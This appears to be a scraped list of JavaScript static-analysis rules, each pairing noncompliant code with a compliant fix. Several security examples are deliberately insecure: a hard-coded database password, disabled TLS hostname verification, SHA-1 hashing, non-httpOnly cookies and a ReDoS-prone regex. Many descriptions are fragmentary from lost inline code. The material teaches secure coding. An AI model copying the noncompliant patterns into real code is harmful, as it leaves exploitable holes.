Hidden files are created automatically by many tools to save user-preferences, well-known examples are Outside of the user environment, hidden files are sensitive because they are used to store privacy-related information or even hard-coded secrets. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleExpress.js serve-static middleware: let serveStatic = require("serve-static"); let app = express(); let serveStaticMiddleware = serveStatic('public', { 'index': false, 'dotfiles': 'allow'}); // Sensitive app.use(serveStaticMiddleware); Compliant SolutionExpress.js serve-static middleware: let serveStatic = require("serve-static"); let app = express(); let serveStaticMiddleware = serveStatic('public', { 'index': false, 'dotfiles': 'ignore'}); // Compliant: ignore or deny are recommended values let serveStaticDefault = serveStatic('public', { 'index': false}); // Compliant: by default, "dotfiles" (file or directory that begins with a dot) are not served (with the exception that files within a directory that begins with a dot are not ignored), see serve-static module documentation app.use(serveStaticMiddleware); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S909 |
Noncompliant Code Examplefor (i = 0; i < 10; i++) { if (i == 5) { continue; /* Noncompliant */ } alert("i = " + i); } Compliant Solutionfor (i = 0; i < 10; i++) { if (i != 5) { /* Compliant */ alert("i = " + i); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S905 |
Any statement (other than a null statement, which means a statement containing only a semicolon Noncompliant Code Examplea == 1; // Noncompliant; was assignment intended? var msg = "Hello, " "World!"; // Noncompliant; have we forgotten '+' operator on previous line? See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1534 |
JavaScript allows duplicate property names in classes and object literals, but only the last instance of a duplicated name determines the actual value that will be used for it. Therefore, changing values of other occurrences of a duplicated name will have no effect and may cause misunderstandings and bugs. Defining a Before ECMAScript 2015, using duplicate names will generate an error in JavaScript strict mode code. Noncompliant Code Examplevar data = { "key": "value", "1": "value", "key": "value", // Noncompliant - duplicate of "key" 'key': "value", // Noncompliant - duplicate of "key" key: "value", // Noncompliant - duplicate of "key" \u006bey: "value", // Noncompliant - duplicate of "key" "\u006bey": "value", // Noncompliant - duplicate of "key" "\x6bey": "value", // Noncompliant - duplicate of "key" 1: "value" // Noncompliant - duplicate of "1" } Compliant Solutionvar data = { "key": "value", "1": "value", "key2": "value", 'key3': "value", key4: "value", \u006bey5: "value", "\u006bey6": "value", "\x6bey7": "value", 1b: "value" } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3834 |
An instance can only be created by using Noncompliant Code Exampleconst sym = new Symbol("foo"); // Noncompliant Compliant Solutionconst sym = Symbol("foo"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1535 |
The Therefore, the body of every Noncompliant Code Examplefor (name in object) { doSomething(name); // Noncompliant } Compliant Solutionfor (name in object) { if (object.hasOwnProperty(name)) { doSomething(name); } } ExceptionsLoops used to clone objects are ignored. for (prop in obj) { a[prop] = obj[prop]; // Compliant by exception } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Examplefunction setName(name) { name = name; } Compliant Solutionfunction setName(name) { this.name = name; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1536 |
Function arguments should all have different names to prevent any ambiguity. Indeed, if arguments have the same name, the last duplicated argument hides all the previous arguments with the same name (those previous arguments remain available through arguments[i], so they're not completely inaccessible). This hiding makes no sense, reduces understandability and maintainability, and obviously can be error prone. Furthermore, in strict mode, declaring arguments with the same name produces an error. Noncompliant Code Examplefunction compute(a, a, c) { // Noncompliant } Compliant Solutionfunction compute(a, b, c) { // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1537 |
Most browsers parse and discard a meaningless, trailing comma. Unfortunately, that's not the case for Internet Explorer below version 9, which throws a meaningless error. Therefore trailing commas should be eliminated. Noncompliant Code Examplevar settings = { 'foo' : oof, 'bar' : rab, // Noncompliant - trailing comma }; Compliant Solutionvar settings = { 'foo' : oof, 'bar' : rab }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1539 |
Even though it may be a good practice to enforce JavaScript strict mode, doing so could result in unexpected behaviors on browsers that do not support it yet. Using this feature should therefore be done with caution and with full knowledge of the potential consequences on browsers that do not support it. Noncompliant Code Examplefunction strict() { 'use strict'; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplevar mysql = require('mysql'); var connection = mysql.createConnection( { host:'localhost', user: "admin", database: "project", password: "mypassword", // sensitive multipleStatements: true }); connection.connect(); Compliant Solutionvar mysql = require('mysql'); var connection = mysql.createConnection({ host: process.env.MYSQL_URL, user: process.env.MYSQL_USERNAME, password: process.env.MYSQL_PASSWORD, database: process.env.MYSQL_DATABASE }); connection.connect(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2189 |
An infinite loop is one that will never end while the program is running, i.e., you have to kill the program to get out of the loop. Whether it is
by meeting the loop's end condition or via a Known Limitations
Noncompliant Code Examplefor (;;) { // Noncompliant; end condition omitted // ... } var j = 0; while (true) { // Noncompliant; constant end condition j++; } var k; var b = true; while (b) { // Noncompliant; constant end condition k++; } Compliant Solutionwhile (true) { // break will potentially allow leaving the loop if (someCondition) { break; } } var k; var b = true; while (b) { k++; b = k < 10; } outer: while(true) { while(true) { break outer; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4123 |
It is possible to use This rule raises an issue when an Noncompliant Code Examplelet x = 42; await x; // Noncompliant Compliant Solutionlet x = new Promise(resolve => resolve(42)); await x; let y = p ? 42 : new Promise(resolve => resolve(42)); await y; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1530 |
While most script engines support function declarations within blocks, from browser to browser, the implementations are inconsistent with each other. Noncompliant Code Exampleif (x) { function foo() {} //foo is hoisted in Chrome, Firefox and Safari, but not in Edge. } Compliant Solutionif (x) { const foo = function() {} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1774 |
While the ternary operator is pleasingly compact, its use can make code more difficult to read. It should therefore be avoided in favor of the more
verbose Noncompliant Code Examplefunction foo(a) { var b = (a === 'A') ? 'is A' : 'is not A'; // Noncompliant // ... } Compliant Solutionfunction foo(a) { var b; if (a === 'A') { b = 'is A'; } else { b = 'is not A'; } // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1533 |
The use of wrapper objects for primitive types is gratuitous, confusing and dangerous. If you use a wrapper object constructor for type conversion,
just remove the Noncompliant Code Examplelet x = new Number("0"); if (x) { alert('hi'); // Shows 'hi'. } Compliant Solutionlet x = Number("0"); if (x) { alert('hi'); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S139 |
This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted. Noncompliant Code Examplevar a1 = b + c; // This is a trailing comment that can be very very long Compliant Solution// This very long comment is better placed before the line of code var a2 = b + c; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S930 |
You can easily call a JavaScript function with more arguments than the function needs, but the extra arguments will be just ignored by function execution. Noncompliant Code Examplefunction say(a, b) { print(a + " " + b); } say("hello", "world", "!"); // Noncompliant; last argument is not used ExceptionsNo issue is reported when function doSomething(a, b) { compute(arguments); } doSomething(1, 2, 3) // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S138 |
A function that grows too large tends to aggregate too many responsibilities. Such functions inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks. Those smaller functions will not only be easier to understand, but also probably easier to test. ExceptionsThis function ignores Immediately Invoked Function Expressions (IIFE), which are functions that are created and invoked without ever being assigned a name. (function () { // Ignored by this rule function open() { // Classic function declaration; not ignored // ... } function read() { // ... } function readlines() { // ... } })(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2251 |
A Noncompliant Code Examplefor (var i = 0; i < strings.length; i--) { // Noncompliant; //... } Compliant Solutionfor (var i = 0; i < strings.length; i++) { //... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S135 |
Restricting the number of One Noncompliant Code Examplefor (var i = 1; i <= 10; i++) { // Noncompliant - 2 continue - one might be tempted to add some logic in between if (i % 2 == 0) { continue; } if (i % 3 == 0) { continue; } alert("i = " + i); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4790 |
Cryptographic hash algorithms such as Ask Yourself WhetherThe hashed value is used in a security context like:
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesSafer alternatives, such as Sensitive Code Exampleconst crypto = require("crypto"); const hash = crypto.createHash('sha1'); // Sensitive Compliant Solutionconst crypto = require("crypto"); const hash = crypto.createHash('sha256'); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5527 |
To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate. The certificate's hostname-specific data should match the server hostname. It's not recommended to re-invent the wheel by implementing custom hostname verification. TLS/SSL libraries provide built-in hostname verification functions that should be used. Noncompliant Code Examplehttps built-in module: let options = { hostname: 'www.example.com', port: 443, path: '/', method: 'GET', secureProtocol: 'TLSv1_2_method', checkServerIdentity: function() {} // Noncompliant: hostname is not verified }; let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Noncompliant tls built-in module: let options = { secureProtocol: 'TLSv1_2_method', checkServerIdentity: function() {} // Noncompliant: hostname is not verified }; let socket = tls.connect(443, "www.example.com", options, () => { process.stdin.pipe(socket); process.stdin.resume(); }); // Noncompliant request module: let socket = request.get({ url: 'https://www.example.com', secureProtocol: 'TLSv1_2_method', checkServerIdentity: function() {} // Noncompliant: hostname is not verified }); Compliant Solutionhttps built-in module: let options = { hostname: 'www.example.com', port: 443, path: '/', method: 'GET', secureProtocol: 'TLSv1_2_method' }; let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Compliant: default checkServerIdentity function is secure tls built-in module: let options = { secureProtocol: 'TLSv1_2_method', checkServerIdentity: (servername, peer) => { if (servername !== "www.example.com") { return new Error ('Error'); // Compliant: there is at least one check } } }; let socket = tls.connect(443, "www.example.com", options, () => { process.stdin.pipe(socket); process.stdin.resume(); }); // Compliant request module: let socket = request.get({ url: 'https://www.example.com/', secureProtocol: 'TLSv1_2_method' // Compliant }); // Compliant: default checkServerIdentity function is secure See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2814 |
This rule checks that a declaration doesn't use a name that is already in use. Indeed, it is possible to use the same symbol multiple times as either a variable or a function, but doing so is likely to confuse maintainers. Further it's possible that such reassignments are made in error, with the developer not realizing that the value of the variable is overwritten by the new assignment. This rule also applies to function parameters. Noncompliant Code Examplevar a = 'foo'; function a() {} // Noncompliant console.log(a); // prints "foo" function myFunc(arg) { var arg = "event"; // Noncompliant, argument value is lost } fun(); // prints "bar" function fun() { console.log("foo"); } fun(); // prints "bar" function fun() { // Noncompliant console.log("bar"); } fun(); // prints "bar" Compliant Solutionvar a = 'foo'; function otherName() {} console.log(a); function myFunc(arg) { var newName = "event"; } fun(); // prints "foo" function fun() { print("foo"); } fun(); // prints "foo" function printBar() { print("bar"); } printBar(); // prints "bar" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1848 |
There is no good reason to create a new object to not do anything with it. Most of the time, this is due to a missing piece of code and so could lead to an unexpected behavior in production. If it was done on purpose because the constructor has side-effects, then that side-effect code should be moved into a separate method and called directly. Noncompliant Code Examplenew MyConstructor(); // Non-Compliant Compliant Solutionvar something = new MyConstructor(); // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2817 |
The Web SQL Database standard never saw the light of day. It was first formulated, then deprecated by the W3C and was only implemented in some browsers. (It is not supported in Firefox or IE.) Further, the use of a Web SQL Database poses security concerns, since you only need its name to access such a database. Noncompliant Code Examplevar db = window.openDatabase("myDb", "1.0", "Personal secrets stored here", 2*1024*1024); // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2255 |
Using cookies is security-sensitive. It has led in the past to the following vulnerabilities: Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed. This rule flags code that writes cookies. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesCookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session. Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed. Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies. As a side note, every information read from a cookie should be Sanitized. Sensitive Code Example// === Built-in NodeJS modules === const http = require('http'); const https = require('https'); http.createServer(function(req, res) { res.setHeader('Set-Cookie', ['type=ninja', 'lang=js']); // Sensitive }); https.createServer(function(req, res) { res.setHeader('Set-Cookie', ['type=ninja', 'lang=js']); // Sensitive }); // === ExpressJS === const express = require('express'); const app = express(); app.use(function(req, res, next) { res.cookie('name', 'John'); // Sensitive }); // === In browser === // Set cookie document.cookie = "name=John"; // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2376 |
When an object is created with a setter for a property but without a getter for that property, the property is inaccessible and is thus useless. This rule also enforces the reverse situation (getter but no setter). Noncompliant Code Examplevar obj = { set foo(value) { this.fooval = value; } }; Compliant Solutionvar obj = { set foo(value) { this.fooval = value; }, get foo() { return this.fooval; } }; or var obj = { setFoo(value) { // a standard method, not a setter this.fooval = value; } }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2259 |
When a variable is assigned an Noncompliant Code Exampleif (x === undefined) { console.log(x.length); // Noncompliant; TypeError will be thrown } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2138 |
Noncompliant Code Examplevar myObject = {}; // ... myObject.fname = undefined; // Noncompliant // ... if (myObject.lname == undefined) { // property not yet created } if (myObject.fname == undefined) { // no real way of knowing the true state of myObject.fname } Compliant Solutionvar myObject = {}; // ... myObject.fname = null; // ... if (myObject.lname == undefined) { // property not yet created } if (myObject.fname == undefined) { // no real way of knowing the true state of myObject.fname } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2137 |
JavaScript has special identifiers that, while not reserved, still should not be used as identifiers. They include:
These words should not be bound or assigned, because doing so would overwrite the original definitions of these identifiers. What's more, assigning or binding some of these names will generate an error in JavaScript strict mode code. Noncompliant Code Exampleeval = 17; // Noncompliant arguments++; // Noncompliant ++eval; // Noncompliant var obj = { set p(arguments) { } }; // Noncompliant var eval; // Noncompliant try { } catch (arguments) { } // Noncompliant function x(eval) { } // Noncompliant function arguments() { } // Noncompliant var y = function eval() { }; // Noncompliant var f = new Function("arguments", "return 17;"); // Noncompliant function fun() { if (arguments.length == 0) { // Compliant // do something } } Compliant Solutionresult = 17; args++; ++result; var obj = { set p(arg) { } }; var result; try { } catch (args) { } function x(arg) { } function args() { } var y = function fun() { }; var f = new Function("args", "return 17;"); function fun() { if (arguments.length == 0) { // do something } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S128 |
When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior. Noncompliant Code Exampleswitch (myVariable) { case 1: foo(); break; case 2: // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ? doSomething(); default: doSomethingElse(); break; } Compliant Solutionswitch (myVariable) { case 1: foo(); break; case 2: doSomething(); break; default: doSomethingElse(); break; } ExceptionsThis rule is relaxed in the following cases: switch (myVariable) { case 0: // Empty case used to specify the same behavior for a group of cases. case 1: doSomething(); break; case 2: // Use of return statement return; case 3: // Ends with comment when fall-through is intentional console.log("this case falls through") // fall through case 4: // Use of throw statement throw new IllegalStateException(); case 5: // Use of continue statement continue; default: // For the last case, use of break statement is optional doSomethingElse(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code Exampleif (x == 0) { doSomething(); } else if (x == 1) { doSomethingElse(); } Compliant Solutionif (x == 0) { doSomething(); } else if (x == 1) { doSomethingElse(); } else { throw "Unexpected value for x"; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S124 |
This rule template can be used to create rules which will be triggered when a comment matches a given regular expression. For example, one can create a rule with the regular expression |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S125 |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5759 |
Users often connect to web servers through HTTP proxies. Proxy can be configured to forward the client IP address via the IP address is a personal information which can identify a single user and thus impact his privacy. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesUser IP address should not be forwarded unless the application needs it, as part of an authentication, authorization scheme or log management for examples. Sensitive Code Examplevar httpProxy = require('http-proxy'); httpProxy.createProxyServer({target:'http://localhost:9000', xfwd:true}) // Noncompliant .listen(8000); var express = require('express'); const { createProxyMiddleware } = require('http-proxy-middleware'); const app = express(); app.use('/proxy', createProxyMiddleware({ target: 'http://localhost:9000', changeOrigin: true, xfwd: true })); // Noncompliant app.listen(3000); Compliant Solutionvar httpProxy = require('http-proxy'); // By default xfwd option is false httpProxy.createProxyServer({target:'http://localhost:9000'}) // Compliant .listen(8000); var express = require('express'); const { createProxyMiddleware } = require('http-proxy-middleware'); const app = express(); // By default xfwd option is false app.use('/proxy', createProxyMiddleware({ target: 'http://localhost:9000', changeOrigin: true})); // Compliant app.listen(3000); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4784 |
Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities: Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as
Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users. This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following
characters: Example: Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesCheck whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using. Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2. Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection. Sensitive Code Exampleconst regex = /(a+)+b/; // Sensitive const regex2 = new RegExp("(a+)+b"); // Sensitive str.search("(a+)+b"); // Sensitive str.match("(a+)+b"); // Sensitive str.split("(a+)+b"); // Sensitive Note: String.matchAll does not raise any issue as it is not supported by NodeJS. ExceptionsSome corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: It is a good idea to test your regular expression if it has the same pattern on both side of a " See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3330 |
When a cookie is configured with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplecookie-session module: let session = cookieSession({ httpOnly: false,// Sensitive }); // Sensitive express-session module: const express = require('express'), const session = require('express-session'), let app = express() app.use(session({ cookie: { httpOnly: false // Sensitive } })), cookies module: let cookies = new Cookies(req, res, { keys: keys }); cookies.set('LastVisit', new Date().toISOString(), { httpOnly: false // Sensitive }); // Sensitive csurf module: const cookieParser = require('cookie-parser'); const csrf = require('csurf'); const express = require('express'); let csrfProtection = csrf({ cookie: { httpOnly: false }}); // Sensitive Compliant Solutioncookie-session module: let session = cookieSession({ httpOnly: true,// Compliant }); // Compliant express-session module: const express = require('express'); const session = require('express-session'); let app = express(); app.use(session({ cookie: { httpOnly: true // Compliant } })); cookies module: let cookies = new Cookies(req, res, { keys: keys }); cookies.set('LastVisit', new Date().toISOString(), { httpOnly: true // Compliant }); // Compliant csurf module: const cookieParser = require('cookie-parser'); const csrf = require('csurf'); const express = require('express'); let csrfProtection = csrf({ cookie: { httpOnly: true }}); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S134 |
Nested Such code is hard to read, refactor and therefore maintain. Noncompliant Code ExampleWith the default threshold of 3: if (condition1) { // Compliant - depth = 1 /* ... */ if (condition2) { // Compliant - depth = 2 /* ... */ for(let i = 0; i < 10; i++) { // Compliant - depth = 3, not exceeding the limit /* ... */ if (condition4) { // Non-Compliant - depth = 4 if (condition5) { // Depth = 5, exceeding the limit, but issues are only reported on depth = 4 /* ... */ } return; } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S131 |
The requirement for a final Noncompliant Code Exampleswitch (param) { //missing default clause case 0: doSomething(); break; case 1: doSomethingElse(); break; } switch (param) { default: // default clause should be the last one error(); break; case 0: doSomething(); break; case 1: doSomethingElse(); break; } Compliant Solutionswitch (param) { case 0: doSomething(); break; case 1: doSomethingElse(); break; default: error(); break; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3696 |
It is a bad practice to Specifically, part of the point of throwing \ Noncompliant Code Examplethrow 404; // Noncompliant throw "Invalid negative index."; // Noncompliant Compliant Solutionthrow new Error("Status: " + 404); throw new Error("Invalid negative index.");{code} See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2123 |
A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug. Noncompliant Code Examplefunction pickNumber() { let i = 0; i = i++; // Noncompliant; i is still zero return i++; // Noncompliant; 0 returned } Compliant Solutionfunction pickNumber() { let i = 0; i++; return ++i; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1154 |
Doing an operation on a string without using the result of the operation is useless and is certainly due to a misunderstanding. Noncompliant Code Examplevar str = "..." str.toUpperCase(); // Noncompliant Compliant Solutionvar str = "..." str = str.toUpperCase(); See
DeprecatedThis rule is deprecated; use S2201 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5757 |
Log management is an important topic, especially for the security of a web application, to ensure user activity, including potential attackers, is recorded and available for an analyst to understand what's happened on the web application in case of malicious activities. Retention of specific logs for a defined period of time is often necessary to comply with regulations such as GDPR, PCI DSS and others. However, to protect user's privacy, certain informations are forbidden or strongly discouraged from being logged, such as user passwords or credit card numbers, which obviously should not be stored or at least not in clear text. Ask Yourself WhetherIn a production environment:
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesLoggers should be configured with a list of confidential, personal information that will be hidden/masked or removed from logs. Sensitive Code ExampleWith Signale log management framework the code is sensitive when an empty list of secrets is defined: const { Signale } = require('signale'); const CREDIT_CARD_NUMBERS = fetchFromWebForm() // here we suppose the credit card numbers are retrieved somewhere and CREDIT_CARD_NUMBERS looks like [1234-5678-0000-9999", "1234-5678-0000-8888"]; for instance const options = { secrets: [] // empty list of secrets }; const logger = new Signale(options); // Sensitive CREDIT_CARD_NUMBERS.forEach(function(CREDIT_CARD_NUMBER) { logger.log('The customer ordered products with the credit card number = %s', CREDIT_CARD_NUMBER); }); Compliant SolutionWith Signale log management framework it is possible to define a list of secrets that will be hidden in logs: const { Signale } = require('signale'); const CREDIT_CARD_NUMBERS = fetchFromWebForm() // here we suppose the credit card numbers are retrieved somewhere and CREDIT_CARD_NUMBERS looks like [1234-5678-0000-9999", "1234-5678-0000-8888"]; for instance const options = { secrets: ["([0-9]{4}-?)+"] }; const logger = new Signale(options); // Compliant CREDIT_CARD_NUMBERS.forEach(function(CREDIT_CARD_NUMBER) { logger.log('The customer ordered products with the credit card number = %s', CREDIT_CARD_NUMBER); }); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4426 |
Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks. NIST recommendations will be checked for these use-cases: Digital Signature Generation and Verification:
Key Agreement:
Symmetric keys:
